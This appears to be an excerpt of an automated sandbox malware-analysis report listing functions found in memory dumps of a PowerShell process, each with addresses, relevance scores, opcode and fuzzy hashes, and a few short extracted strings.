Instruction ID: 07019c307ce8172edc82ee1045a580fde3f5c060522d7384e17c76f4ba7f6aa2
Opcode Fuzzy Hash: c389c7faa8726cc677cc768dccb7575dac7c85d2fa0e9314445a5ac306fdaeaa
Instruction Fuzzy Hash: E9F0B474E14258EFDB14CF68E88578CB7B5FB55300F408496E90AB7340CB319D868F51

Function 06F8124B Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2856705849.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dac34573e83cadc675846a03cb28940c0099ed95326a3d434487ff536ffff083
Instruction ID: 8e955574c55b0903bda0bae6dcf1038409f5cd3c478d4c6aa83c1e5732342fc7
Opcode Fuzzy Hash: dac34573e83cadc675846a03cb28940c0099ed95326a3d434487ff536ffff083
Instruction Fuzzy Hash: 6CE0E535919108AFCB45DBB4D9829ACBF75AB8B320F24C2E9D84467251C6328A57DB80

Function 071C77E0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9675f9effe47c44927bf8e82de877e93c2b00d06806652a572bdfa63b27b8af3
Instruction ID: 5fd361c4796dc451b4b619f9a9cc59f7031ba38098bffaa8c27954bb3d97bbd6
Opcode Fuzzy Hash: 9675f9effe47c44927bf8e82de877e93c2b00d06806652a572bdfa63b27b8af3
Instruction Fuzzy Hash: 13E0E57590520CEBCF05DFE4DA469ADBB75FB49310F10C099EC0527291CB729A62EF91

Function 071CA651 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6a6088d4fdf2706f9579d8141628c22b8b33b1b81106c407715c45a999c5e3
Instruction ID: 7b0cc03b46ff32174690ca0c72596c7e249944588f27c5e1fa6c3236497ad16e
Opcode Fuzzy Hash: 1d6a6088d4fdf2706f9579d8141628c22b8b33b1b81106c407715c45a999c5e3
Instruction Fuzzy Hash: 4BF012B4906208CFDB22CFA8CA49BCDBAF1AF65305F0090A994886B290C7749DC1CF41

Function 071CA320 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff51a5f601b29bfe862f74073e127546bacb727fa57f308e6cd57d716779cfbd
Instruction ID: 97b201fa19778df886e4244fdf2d99b391a67fca1153f7d3454e167cb404d2e7
Opcode Fuzzy Hash: ff51a5f601b29bfe862f74073e127546bacb727fa57f308e6cd57d716779cfbd
Instruction Fuzzy Hash: 9FF0C97490920CEFCB06DFD4C9519ACBBB5EF59310F14C099EC5456351CB329A62EF40

Function 0722ECA0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858630208.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8321f849036011d10fbcd7462a7f0e94b9e795ead9b2f9c9c94a1044e623ac4b
Instruction ID: e1de7951c5d48e35d7efe5590880ea670a7fb6f15a587fb18156d0bff6acb972
Opcode Fuzzy Hash: 8321f849036011d10fbcd7462a7f0e94b9e795ead9b2f9c9c94a1044e623ac4b
Instruction Fuzzy Hash: 01E026F1B34336BBDA1065A44800B6A32848F41A04F220079B6056F3D0D972EC02A321

Function 071CC0A0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43fd08bfa2b36c5862d812e4c81b6a21c18051b3fc4ac7f79a9e27f10c03fd0e
Instruction ID: b4ef3b562ddf77b28f0bc36f5feef8d6a1ed341d73aa8ae775ea21b8f50dbd4d
Opcode Fuzzy Hash: 43fd08bfa2b36c5862d812e4c81b6a21c18051b3fc4ac7f79a9e27f10c03fd0e
Instruction Fuzzy Hash: 6FE0C2B8E05208AFCB84DFA8C5456ACBBF4EB48210F10C0AA981893341D6329A52CF81

Function 07228600 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858630208.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54e7bd01ba7368e9ad22d88326b495a34a7b81fc65b3b81c3b365d2352c1567f
Instruction ID: 6faaed018883470be49a2ae77eb1a8e78d9c627e729a00be9e5240a70d322b18
Opcode Fuzzy Hash: 54e7bd01ba7368e9ad22d88326b495a34a7b81fc65b3b81c3b365d2352c1567f
Instruction Fuzzy Hash: 2FE0E5B4E15208EFCB84DFA8D5456ACFBF4EB48310F10C0A9D81893351DA719A42DF45

Function 07229AC8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858630208.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54e7bd01ba7368e9ad22d88326b495a34a7b81fc65b3b81c3b365d2352c1567f
Instruction ID: c4ee5fe441cc27738f3ca4da085b87ccb9627cb952abac38eec73bf4a205fb81
Opcode Fuzzy Hash: 54e7bd01ba7368e9ad22d88326b495a34a7b81fc65b3b81c3b365d2352c1567f
Instruction Fuzzy Hash: 29E01AB4E15208EFCB84DFA9C5456ADFBF8EB49310F10C0A9D888A3340D631AA42DF40

Function 071C882A Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86cbaadec36b6f241c37c58e286abee566cfe6ecc70062fae4b5a42faee991fc
Instruction ID: a647ed3d2bd23ac72cd88423e398ca70458fc9aa78235f41c9d81e81f5f876e8
Opcode Fuzzy Hash: 86cbaadec36b6f241c37c58e286abee566cfe6ecc70062fae4b5a42faee991fc
Instruction Fuzzy Hash: 3EF0F87890522ACFDB24DF60CA49BE9BBB2EB44314F0440E9D40967291C7359E82CF40

Function 071C588A Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb0e1934a7907c6f2905342ed1e63cab1493d6eaef2b0d296deee4200d48def1
Instruction ID: c6c2e5dddd7b66d95622542d933af564535992c479a2d2af16c11883d14c7071
Opcode Fuzzy Hash: fb0e1934a7907c6f2905342ed1e63cab1493d6eaef2b0d296deee4200d48def1
Instruction Fuzzy Hash: 5FE092B4D19108DBC700DBA8C982768BBB89B09201F24809DC84553281D736AA52CF91

Function 06F81250 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2856705849.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce4b1021798a87d12d4828934b55ab060e4e85cbd919bc55f3806c59b25be6f3
Instruction ID: 0ddd1cae9347a5dad7fb9513a8fbc66618111f8002d498828b974e7a18a857f2
Opcode Fuzzy Hash: ce4b1021798a87d12d4828934b55ab060e4e85cbd919bc55f3806c59b25be6f3
Instruction Fuzzy Hash: DBE04F34909108EFCB04DF94D9419ADBB74AB4A310F10C199DC4453340C6329A52DB84

Function 071CE5B8 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 607c8afbdd08d816989a1b44786052729cb68c3b2a3a08aa91ed27382f5c8940
Instruction ID: e59e69a642b0bef7e11b3a5d5de7926e827c2e2152dd63ee3e1924805978c196
Opcode Fuzzy Hash: 607c8afbdd08d816989a1b44786052729cb68c3b2a3a08aa91ed27382f5c8940
Instruction Fuzzy Hash: 95E0BFB4915208DFCB44DFE8C54569CFBF4AB49214F1080ADD90897341EB329A46CB41

Function 07227F90 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858630208.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70ae733e29bc501642d5c79369b4ae1932da6d9f79c1532038311b8ec219413d
Instruction ID: 930d0e884bb9173deff42b8e5d9ae9b998f7952fb40d64ce09d62aac0f532d0e
Opcode Fuzzy Hash: 70ae733e29bc501642d5c79369b4ae1932da6d9f79c1532038311b8ec219413d
Instruction Fuzzy Hash: E4E0BF74929118EFC744DFA8C94569CBBF4AB49214F2080A9D90897351D671DA42DB41

Function 071C1230 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d7aacc60c76dea61830d3793d03a42ecd0bac41ec5f63afccd961404e078fbd
Instruction ID: b33f95145d66bcf4b813bae40aa99db5aa66f8c3576c49f3fd6dd607be7c3358
Opcode Fuzzy Hash: 6d7aacc60c76dea61830d3793d03a42ecd0bac41ec5f63afccd961404e078fbd
Instruction Fuzzy Hash: C1E0ECB894910CEBCB04DBE4D9459ACBBB8AB5A314F20819DD80967381CB329E42DB85

Function 071C4DE0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d7aacc60c76dea61830d3793d03a42ecd0bac41ec5f63afccd961404e078fbd
Instruction ID: 707fdaa15b0049bfd3881940f2c3a345a384a67fbf1f9b0da5a451deebafe452
Opcode Fuzzy Hash: 6d7aacc60c76dea61830d3793d03a42ecd0bac41ec5f63afccd961404e078fbd
Instruction Fuzzy Hash: A1E08C74909108DBCB04EFE8D9419ACBBB8AB59314F10809CCC0913380CB329E42CB80

Function 071C0B28 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d7aacc60c76dea61830d3793d03a42ecd0bac41ec5f63afccd961404e078fbd
Instruction ID: 2f93cdd4db526c3612331384b261d9a66346068bf1450e6a1a98ed3063693f9f
Opcode Fuzzy Hash: 6d7aacc60c76dea61830d3793d03a42ecd0bac41ec5f63afccd961404e078fbd
Instruction Fuzzy Hash: AEE0EC78909108DBCB04DFE4D985AACFBB8AB49314F51819DD80817381CB329F42DB85

Function 07227A2C Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858630208.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6deeb2f7318ec0c4d62d1fbeabcba865f5fe4fe2a230bee80569645c1c1885d5
Instruction ID: cc8ac152270796a06c654bcc9722b0b933a132fdf70eb76af98e5c3097da715a
Opcode Fuzzy Hash: 6deeb2f7318ec0c4d62d1fbeabcba865f5fe4fe2a230bee80569645c1c1885d5
Instruction Fuzzy Hash: 04E01A74A152188FE724CF28DD5AB9DBBB2EF46300F805095E80EAB751CA309D86CF90

Function 07226A98 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858630208.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fc50dc59439420c23954b2626710d7bace82d4f0759fd23bf4ed3d879d7e8f0
Instruction ID: b6c5edb20f15c29489d89fcd22798b184abdf6e40d80845de4d3a4fdf8e24030
Opcode Fuzzy Hash: 8fc50dc59439420c23954b2626710d7bace82d4f0759fd23bf4ed3d879d7e8f0
Instruction Fuzzy Hash: 3CE012B0D6522DEFCB80DFB8D54969CBBF8EB19211F5080A9DC4893340EB719A95DB41

Function 071C9E88 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f2f9efc6f8548b4a5c7a62da2f273ee7c5e275dc8d496162c8763ed7ddfac4c
Instruction ID: 0f1f1de7094639e1f5f91dc84701a9bb43c7f7ad122e14041fea724f2603b2ab
Opcode Fuzzy Hash: 2f2f9efc6f8548b4a5c7a62da2f273ee7c5e275dc8d496162c8763ed7ddfac4c
Instruction Fuzzy Hash: F9E0E5749152189FDB11CF94D884BEEBBB9BB4D300F4001DAE549A7381D734AA808F50

Function 071C5898 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56391fd90cb8e21c834ad03c8c39d025992289f780dfdccd841abff60bd98024
Instruction ID: 1517b32e36d09594e581d4f8a4b28f3e6c7d738c3326e3ae61db48b3386b057a
Opcode Fuzzy Hash: 56391fd90cb8e21c834ad03c8c39d025992289f780dfdccd841abff60bd98024
Instruction Fuzzy Hash: 47E0C274805108DFC744DBE9CA426ACFFB8AB09210F2080DDCC4953381DB32AE52CB90

Function 0722E990 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858630208.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a7ecd3f78617581cd999dd4cd76c042e45cab1e75abe19117033e8ac4f861a7
Instruction ID: b0e6cad6da447b19c030a87e730019e7ca376e45843dbcadb873851c9534a343
Opcode Fuzzy Hash: 7a7ecd3f78617581cd999dd4cd76c042e45cab1e75abe19117033e8ac4f861a7
Instruction Fuzzy Hash: 99E012A550E7D29FCB434F2488644E0BF30AE2350471A48C3C0D5CF1A3D318591FEB66

Function 072274F5 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858630208.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6762f3af367e12ac27a7ac548a37028dfef699a6c5537d0b578ebe75e3e97a0e
Instruction ID: 9af41b3148972e7f2b56868d85c573e4953cd424beb7ffd4874b82386bfd82ae
Opcode Fuzzy Hash: 6762f3af367e12ac27a7ac548a37028dfef699a6c5537d0b578ebe75e3e97a0e
Instruction Fuzzy Hash: A5E0E578E102188FD729DBA4E899BDD7771FB99301F8019DAD4096B380CB706D849FA1

Function 06F897BD Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2856705849.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31ec6f3d71c00a2663350afecaf28a23e0ca9c136dbbf6d599bb92ee866844f4
Instruction ID: b5c15887a11ec446fbb4c473b9025cfb6d817581c93fcf737e9dc99e0283d28f
Opcode Fuzzy Hash: 31ec6f3d71c00a2663350afecaf28a23e0ca9c136dbbf6d599bb92ee866844f4
Instruction Fuzzy Hash: DAC04C76E1011E9BCF40DBD9E4409DCF774EF95361F004036D214BB104D6345926CF50

Non-executed Functions

Function 06F790D8 Relevance: 6.0, Strings: 4, Instructions: 956COMMON

Download Yara Rule

Strings

xbvq, xrefs: 06F79205
pwq, xrefs: 06F79C92
TJxq, xrefs: 06F7927A
Tesq, xrefs: 06F797FB

Memory Dump Source

Source File: 00000004.00000002.2856555642.0000000006F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f70000_powershell.jbxd

Similarity

API ID:
String ID: TJxq$Tesq$pwq$xbvq
API String ID: 0-2278277230
Opcode ID: e8ea17e57c94d8bbeeedbf8ed4e04acd992fa609daeba5bf3f75323f9f69e9b1
Instruction ID: d2dc1cb2fda836615d0212dbd924a3d8f42c0318ea5f78a3f400f665f78860a0
Opcode Fuzzy Hash: e8ea17e57c94d8bbeeedbf8ed4e04acd992fa609daeba5bf3f75323f9f69e9b1
Instruction Fuzzy Hash: B1A28575E00628CFDB65CF69C984A99BBB2FF89304F1581E9D509AB361DB319E81CF40

Function 06F790CF Relevance: 4.0, Strings: 3, Instructions: 243COMMON

Download Yara Rule

Strings

xbvq, xrefs: 06F79205
TJxq, xrefs: 06F7927A
Tesq, xrefs: 06F797FB

Memory Dump Source

Source File: 00000004.00000002.2856555642.0000000006F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f70000_powershell.jbxd

Similarity

API ID:
String ID: TJxq$Tesq$xbvq
API String ID: 0-371669003
Opcode ID: 25f8c24862175060089d1f6155c49be890421ecb4a8034d7cd2384b8ba9dbe06
Instruction ID: e29e84dbf4bde935f9360ff85801a7dcb70e521e1216c4a0849a531972d97617
Opcode Fuzzy Hash: 25f8c24862175060089d1f6155c49be890421ecb4a8034d7cd2384b8ba9dbe06
Instruction Fuzzy Hash: 9EC17775E016188FDB58CF6AC944ADDBBF2BF89300F14C1AAD909AB365DB705A81CF50

Function 06F790C8 Relevance: 4.0, Strings: 3, Instructions: 209COMMON

Download Yara Rule

Strings

xbvq, xrefs: 06F79205
TJxq, xrefs: 06F7927A
Tesq, xrefs: 06F797FB

Memory Dump Source

Source File: 00000004.00000002.2856555642.0000000006F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f70000_powershell.jbxd

Similarity

API ID:
String ID: TJxq$Tesq$xbvq
API String ID: 0-371669003
Opcode ID: a197e6d408d550d46c8b85fe510846b5a1d8582499d198e24449c03732384c0a
Instruction ID: 1a98f3aa14c318caf5e0de28f04e12ecc85900e7e584349a86815a2e8ca95d2a
Opcode Fuzzy Hash: a197e6d408d550d46c8b85fe510846b5a1d8582499d198e24449c03732384c0a
Instruction Fuzzy Hash: A4A17775E016188FDB58CF6AC944ADDBBF2BF89300F1481AAD409AB365DB709E81CF50

Function 071CEBA0 Relevance: 3.1, Strings: 2, Instructions: 617COMMON

Download Yara Rule

Strings

fxq, xrefs: 071CECCD
8, xrefs: 071CECBA

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID: fxq$8
API String ID: 0-2186212692
Opcode ID: 99e39f10a879a49183a8ddd40f7b77ade68703ee5ecf3dbef21f29ad9b75533b
Instruction ID: 78ea390fb18b611c0e3a2bea5b0946f7e34edb97b3de86aec4d85bd000e5170e
Opcode Fuzzy Hash: 99e39f10a879a49183a8ddd40f7b77ade68703ee5ecf3dbef21f29ad9b75533b
Instruction Fuzzy Hash: 4052C7B5E00629CFDB65DF68D854AD9B7B1FB99300F5086EAD409A7350DB30AE81CF90

Function 07228C62 Relevance: 2.9, Strings: 2, Instructions: 363COMMON

Download Yara Rule

Strings

Tesq, xrefs: 07228ED7
Tesq, xrefs: 07228F0C

Memory Dump Source

Source File: 00000004.00000002.2858630208.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7220000_powershell.jbxd

Similarity

API ID:
String ID: Tesq$Tesq
API String ID: 0-1365298620
Opcode ID: cae0c911536da11a7ce161ffaa7c67a99f0804b7908978d4cc02b7b0d0b5d271
Instruction ID: e6f0b5d2d06b5506022ab1ce1bf1e2f9a055d81fab84f287714ded023f0330bb
Opcode Fuzzy Hash: cae0c911536da11a7ce161ffaa7c67a99f0804b7908978d4cc02b7b0d0b5d271
Instruction Fuzzy Hash: 41020BB4E15229CFDB64CF68D845B9DB7B2FB89300F5090AAD409AB354DB70AD86CF11

Function 0722E4F8 Relevance: 2.8, Strings: 2, Instructions: 338COMMON

Download Yara Rule

Strings

(wq, xrefs: 0722E8AC
,wq, xrefs: 0722E5FE

Memory Dump Source

Source File: 00000004.00000002.2858630208.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7220000_powershell.jbxd

Similarity

API ID:
String ID: (wq$,wq
API String ID: 0-2981683845
Opcode ID: 235be53acb74254af7deaa1917386784b365b4c57947b2af954731d05f85f4a8
Instruction ID: 65813057eec863247f97d04128bcc30eca3da2ae3f48dcfd7b2efbd57b846684
Opcode Fuzzy Hash: 235be53acb74254af7deaa1917386784b365b4c57947b2af954731d05f85f4a8
Instruction Fuzzy Hash: 71D12DB4E10555DFDB14DF68C588AA9BBF2FF88300F268499E4059B361DB34EC82EB51

Function 06F751C5 Relevance: 2.7, Strings: 2, Instructions: 187COMMON

Download Yara Rule

Strings

4'sq, xrefs: 06F752CA
4'sq, xrefs: 06F7529F

Memory Dump Source

Source File: 00000004.00000002.2856555642.0000000006F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f70000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq
API String ID: 0-780347173
Opcode ID: a3db8b9bfb65012edff71fcb09b0db9639351315e5bb8370f118830999e35511
Instruction ID: 2f1e06f274941d50401510e9d235da1942ef1fbd0c757aef02e9ba86a69c8c80
Opcode Fuzzy Hash: a3db8b9bfb65012edff71fcb09b0db9639351315e5bb8370f118830999e35511
Instruction Fuzzy Hash: 18713FB1E112048FE709DF6AD88269DBBF2FBC8310F04E56AE8059B354DF706446CB91

Function 071CEB62 Relevance: 2.7, Strings: 2, Instructions: 186COMMON

Download Yara Rule

Strings

fxq, xrefs: 071CECCD
h, xrefs: 071CECAE

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID: fxq$h
API String ID: 0-3911558304
Opcode ID: bb15c91a0a22a6fae50f2bb11bf786220332bc8162183d82db944cd742189e18
Instruction ID: 50f91f347b8769c6c6d44f7c45a6f2998104af53b42298d3cd3a72d2b9f35aa5
Opcode Fuzzy Hash: bb15c91a0a22a6fae50f2bb11bf786220332bc8162183d82db944cd742189e18
Instruction Fuzzy Hash: EA812C75E00629CFDB15DFA9C8547C9BBB2FF89300F5481EAD409AB250DB306A85CF51

Function 06F751E8 Relevance: 2.7, Strings: 2, Instructions: 165COMMON

Download Yara Rule

Strings

4'sq, xrefs: 06F752CA
4'sq, xrefs: 06F7529F

Memory Dump Source

Source File: 00000004.00000002.2856555642.0000000006F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f70000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq
API String ID: 0-780347173
Opcode ID: 25e5608fafe1495e313fa2471ab9e317dac5511545bc27be7ef9069b332971f3
Instruction ID: b7d2c05f028a2d00e7b9cc6a717d36e66b1d10bc8551d371ff082ebf2f304c42
Opcode Fuzzy Hash: 25e5608fafe1495e313fa2471ab9e317dac5511545bc27be7ef9069b332971f3
Instruction Fuzzy Hash: 9471ED70E116448FD709DF6AD88169DBBF2FBC8310F04E56AE8059B364DF7024468B91

Function 07229BE8 Relevance: 1.5, Strings: 1, Instructions: 253COMMON

Download Yara Rule

Strings

Tesq, xrefs: 07229C79

Memory Dump Source

Source File: 00000004.00000002.2858630208.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7220000_powershell.jbxd

Similarity

API ID:
String ID: Tesq
API String ID: 0-136783293
Opcode ID: beef7e561189313673106e5cf79228335d26f444f13499eb925b141c9944508b
Instruction ID: 0124b87caaea319f51e74992aa10d10e5f145a007de95884a034335cbdd42c6c
Opcode Fuzzy Hash: beef7e561189313673106e5cf79228335d26f444f13499eb925b141c9944508b
Instruction Fuzzy Hash: 89B12BB0E24229DFEB54DF69D944B9DBBF2BB49300F1090A6D449BB350DB70A986DF00

Function 07229BD8 Relevance: 1.5, Strings: 1, Instructions: 250COMMON

Download Yara Rule

Strings

Tesq, xrefs: 07229C79

Memory Dump Source

Source File: 00000004.00000002.2858630208.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7220000_powershell.jbxd

Similarity

API ID:
String ID: Tesq
API String ID: 0-136783293
Opcode ID: de9a166cd6268510da524db9e46a96c9d75e1c4cd63dae25b674359fc6d654ed
Instruction ID: 4ca71cc84ceb0d00617b73aaeb0d393528960b7ee8dd34fa66ab2220c9f320b4
Opcode Fuzzy Hash: de9a166cd6268510da524db9e46a96c9d75e1c4cd63dae25b674359fc6d654ed
Instruction Fuzzy Hash: E7B12AB4E25219DFEB14CFA9D945B9DBBF2BB49300F1080A6D449BB350DB70A986DF00

Function 071C24C0 Relevance: 1.5, Strings: 1, Instructions: 226COMMON

Download Yara Rule

Strings

!, xrefs: 071C3FC7

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: 6e3a2ed0cc966738710bc159a3d9e6a3425d5cf4d45fd82327d6450af44f319c
Instruction ID: 5a1b36fe170f49a2db68ccf71cf8d685989ddf5b346642ff3dda7c39658ad08d
Opcode Fuzzy Hash: 6e3a2ed0cc966738710bc159a3d9e6a3425d5cf4d45fd82327d6450af44f319c
Instruction Fuzzy Hash: D4A11874E15218CFDB28CFA9D855BDDBBB2BB99300F5090AAD409A7390DB309E81CF41

Function 06F88670 Relevance: .4, Instructions: 431COMMON

Download Yara Rule

Memory Dump Source

